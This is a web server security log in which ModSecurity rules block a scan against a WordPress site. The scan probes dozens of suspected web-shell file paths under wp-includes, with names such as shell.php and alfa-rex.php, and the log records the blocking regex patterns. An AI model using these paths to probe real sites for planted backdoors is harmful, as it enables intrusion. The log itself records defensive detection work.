[Tue May 05 07:50:37.111991 2026] [:error] [pid 39072:tid 39109] [client 45.86.200.97:54531] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "afkwzfolSHl4aAnrIotNeQAAAEI"]
[Tue May 05 07:50:38.811384 2026] [:error] [pid 53856:tid 53872] [client 45.86.200.103:42507] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "afkwznG_NPOxSH0O9aREMQAAAUc"]
[Tue May 05 07:50:39.948346 2026] [:error] [pid 39072:tid 39121] [client 45.86.200.90:33543] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "afkwz_olSHl4aAnrIotNxgAAAE4"]
[Tue May 05 07:50:41.062919 2026] [:error] [pid 53856:tid 53880] [client 45.86.200.99:33845] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "afkw0XG_NPOxSH0O9aREnAAAAU8"]
[Tue May 05 07:50:42.948716 2026] [:error] [pid 53856:tid 53876] [client 45.86.200.109:39259] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "afkw0nG_NPOxSH0O9aRFBQAAAUs"]
[Tue May 05 07:50:43.836052 2026] [:error] [pid 39178:tid 39185] [client 45.86.200.103:35961] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "afkw0zaPrgTaiOD_15vP9wAAAMU"]
[Tue May 05 07:50:51.293201 2026] [:error] [pid 53856:tid 53867] [client 45.86.200.80:47583] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "afkw23G_NPOxSH0O9aRG8wAAAUI"]
[Tue May 05 07:50:53.698094 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.51:53079] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "afkw3SepFwKgA_SKOHg0QQAAARE"]
[Tue May 05 07:50:54.295995 2026] [proxy_fcgi:error] [pid 39073:tid 39158] [client 45.86.200.99:39621] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:50:54.575199 2026] [:error] [pid 39073:tid 39152] [client 45.86.200.99:39621] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "afkw3v0kT1BNjk46BkeKmAAAAJI"]
[Tue May 05 07:50:55.235038 2026] [:error] [pid 41055:tid 41078] [client 45.86.200.73:30233] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "afkw3yepFwKgA_SKOHg0XQAAARQ"]
[Tue May 05 07:50:56.342186 2026] [:error] [pid 53856:tid 53866] [client 45.86.200.75:52879] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "afkw4HG_NPOxSH0O9aRIAAAAAUE"]
[Tue May 05 07:50:56.973624 2026] [:error] [pid 41055:tid 41076] [client 45.86.200.110:31307] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "afkw4CepFwKgA_SKOHg0mQAAARI"]
[Tue May 05 07:50:59.299208 2026] [:error] [pid 39072:tid 39123] [client 45.86.200.79:43179] [client 45.86.200.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "afkw4_olSHl4aAnrIotPvwAAAFA"]
[Tue May 05 07:51:00.914882 2026] [:error] [pid 41055:tid 41060] [client 45.86.200.80:20781] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "afkw5CepFwKgA_SKOHg08wAAAQI"]
[Tue May 05 07:51:01.783941 2026] [:error] [pid 39073:tid 39136] [client 45.86.200.85:20609] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "afkw5f0kT1BNjk46BkeLYQAAAII"]
[Tue May 05 07:51:02.352324 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.106:26333] [client 45.86.200.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "afkw5jaPrgTaiOD_15vR1gAAAMg"]
[Tue May 05 07:51:02.894494 2026] [:error] [pid 53856:tid 53866] [client 45.86.200.84:36659] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "afkw5nG_NPOxSH0O9aRJaAAAAUE"]
[Tue May 05 07:51:03.426083 2026] [:error] [pid 39073:tid 39144] [client 45.86.200.112:61743] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "afkw5_0kT1BNjk46BkeLlwAAAIo"]
[Tue May 05 07:51:05.104002 2026] [:error] [pid 39178:tid 39180] [client 45.86.200.93:43853] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "afkw6TaPrgTaiOD_15vSFwAAAMA"]
[Tue May 05 07:51:05.661319 2026] [:error] [pid 39072:tid 39110] [client 45.86.200.97:41801] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "afkw6folSHl4aAnrIotQTgAAAEM"]
[Tue May 05 07:51:06.798084 2026] [:error] [pid 41055:tid 41068] [client 45.86.200.105:33147] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "afkw6iepFwKgA_SKOHg1cgAAAQo"]
[Tue May 05 07:51:07.339128 2026] [:error] [pid 39073:tid 39135] [client 45.86.200.75:56319] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "afkw6_0kT1BNjk46BkeMDQAAAIE"]
[Tue May 05 07:51:09.560098 2026] [:error] [pid 39178:tid 39197] [client 45.86.200.81:52409] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "afkw7TaPrgTaiOD_15vSmAAAANE"]
[Tue May 05 07:51:11.204719 2026] [:error] [pid 53856:tid 53869] [client 45.86.200.99:42199] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "afkw73G_NPOxSH0O9aRLMgAAAUQ"]
[Tue May 05 07:51:13.709176 2026] [:error] [pid 39178:tid 39181] [client 45.86.200.58:48055] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "afkw8TaPrgTaiOD_15vTGAAAAME"]
[Tue May 05 07:51:14.258452 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.56:37827] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "afkw8v0kT1BNjk46BkeNDwAAAJM"]
[Tue May 05 07:51:16.483825 2026] [:error] [pid 41055:tid 41069] [client 45.86.200.90:41099] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "afkw9CepFwKgA_SKOHg2PAAAAQs"]
[Tue May 05 07:51:17.288112 2026] [:error] [pid 39071:tid 39095] [client 45.86.200.102:41605] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "afkw9YvmnRMz9gRzix3AUwAAAA8"]
[Tue May 05 07:51:18.139006 2026] [:error] [pid 41055:tid 41079] [client 45.86.200.75:32485] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "afkw9iepFwKgA_SKOHg2egAAARU"]
[Tue May 05 07:51:18.687371 2026] [:error] [pid 53856:tid 53873] [client 45.86.200.56:59489] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "afkw9nG_NPOxSH0O9aRMJAAAAUg"]
[Tue May 05 07:51:20.316047 2026] [:error] [pid 53856:tid 53884] [client 185.82.72.3:50841] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "afkw-HG_NPOxSH0O9aRMUAAAAVM"]
[Tue May 05 07:51:21.685279 2026] [:error] [pid 39071:tid 39093] [client 45.86.200.55:30819] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "afkw-YvmnRMz9gRzix3A2QAAAA0"]
[Tue May 05 07:51:22.522595 2026] [:error] [pid 39072:tid 39123] [client 45.86.200.82:59993] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "afkw-volSHl4aAnrIotSSgAAAFA"]
[Tue May 05 07:51:23.661474 2026] [:error] [pid 39072:tid 39114] [client 45.86.200.91:28827] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "afkw-_olSHl4aAnrIotSeAAAAEc"]
[Tue May 05 07:51:24.277060 2026] [:error] [pid 53856:tid 53874] [client 45.86.200.54:27205] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "afkw_HG_NPOxSH0O9aRMuwAAAUk"]
[Tue May 05 07:51:24.837174 2026] [:error] [pid 39178:tid 39195] [client 45.86.200.93:54969] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "afkw_DaPrgTaiOD_15vUHAAAAM8"]
[Tue May 05 07:51:27.726181 2026] [:error] [pid 39178:tid 39189] [client 45.86.200.102:61199] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "afkw_zaPrgTaiOD_15vUfAAAAMk"]
[Tue May 05 07:51:29.604647 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.93:61859] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "afkxASepFwKgA_SKOHg4AwAAAQ4"]
[Tue May 05 07:51:35.708296 2026] [:error] [pid 41055:tid 41065] [client 45.86.200.56:59845] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "afkxByepFwKgA_SKOHg44QAAAQc"]
[Tue May 05 07:51:36.277476 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.109:47975] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "afkxCDaPrgTaiOD_15vVigAAAMg"]
[Tue May 05 07:51:37.910204 2026] [:error] [pid 39178:tid 39195] [client 45.86.200.75:23189] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "afkxCTaPrgTaiOD_15vVswAAAM8"]
[Tue May 05 07:51:39.071045 2026] [:error] [pid 39178:tid 39203] [client 45.86.200.56:49111] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "afkxCzaPrgTaiOD_15vV3gAAANc"]
[Tue May 05 07:51:41.555982 2026] [:error] [pid 41055:tid 41079] [client 45.86.200.91:33135] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-pie.php"] [unique_id "afkxDSepFwKgA_SKOHg5mQAAARU"]
[Tue May 05 07:51:43.223306 2026] [:error] [pid 39072:tid 39128] [client 45.86.200.58:34245] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "afkxD_olSHl4aAnrIotVZgAAAFU"]
[Tue May 05 07:51:44.350250 2026] [:error] [pid 39178:tid 39201] [client 45.86.200.109:60157] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/nav-menu.php"] [unique_id "afkxEDaPrgTaiOD_15vWnAAAANU"]
[Tue May 05 07:51:44.888589 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.56:35343] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/user.php"] [unique_id "afkxECepFwKgA_SKOHg58wAAARc"]
[Tue May 05 07:51:48.643055 2026] [:error] [pid 39073:tid 39158] [client 45.86.200.56:39255] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "afkxFP0kT1BNjk46BkeRVgAAAJg"]
[Tue May 05 07:51:50.319783 2026] [:error] [pid 41055:tid 41080] [client 45.86.200.57:55959] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "afkxFiepFwKgA_SKOHg6nAAAARY"]
[Tue May 05 07:51:50.883377 2026] [:error] [pid 39073:tid 39142] [client 45.86.200.84:41803] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "afkxFv0kT1BNjk46BkeRjwAAAIg"]
[Tue May 05 07:51:51.693528 2026] [:error] [pid 39071:tid 39087] [client 45.86.200.80:23971] [client 45.86.200.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.80, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "afkxF4vmnRMz9gRzix3DmgAAAAc"]
[Tue May 05 07:51:52.281293 2026] [:error] [pid 39071:tid 39081] [client 45.86.200.80:23971] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "afkxGIvmnRMz9gRzix3DrQAAAAE"]
[Tue May 05 07:51:52.835224 2026] [:error] [pid 39071:tid 39095] [client 45.86.200.59:39629] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "afkxGIvmnRMz9gRzix3DuQAAAA8"]
